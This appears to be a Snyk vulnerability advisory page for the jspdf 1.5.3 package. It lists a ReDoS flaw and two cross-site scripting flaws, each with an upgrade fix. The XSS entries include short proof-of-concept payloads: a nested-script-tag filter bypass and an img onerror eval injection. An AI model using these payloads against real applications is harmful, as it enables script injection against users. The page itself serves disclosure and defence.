jspdf@1.5.3 vulnerabilities

PDF Document creation from JavaScript

Direct Vulnerabilities

Known vulnerabilities in the jspdf package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). ReDoS is possible via the addImage function.

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade jspdf to version 2.3.1 or higher.

<2.3.1
  • M
Cross-site Scripting (XSS)

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It's possible to use <<script>script> in order to go over the filtering regex.

PoC

import jsPDF from "jspdf";

var doc = new jsPDF();

let html = `
<p id='test'>a</p>
<<script>script>document.write(window.location);</</script>script>
`;
doc.fromHTML(
  html,
  0,
  0,
  {
    width: 100 // max width of content on PDF
  },
  function(_) {
    doc.save();
  }
);

How to fix Cross-site Scripting (XSS)?

Upgrade jspdf to version 2.0.0 or higher.

<2.0.0
  • M
Cross-site Scripting (XSS)

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It's possible to inject JavaScript code via the html method.

PoC

var doc = new jsPDF();
window.html2canvas = html2canvas;
let html = `
<p id='test'>a</p>
<img src=x onerror=eval("document.getElementById('test').innerHTML=window.location") />
`;
doc.html(html, {
  callback: function (doc) {
    doc.save();
  }
});

How to fix Cross-site Scripting (XSS)?

Upgrade jspdf to version 2.0.0 or higher.

<2.0.0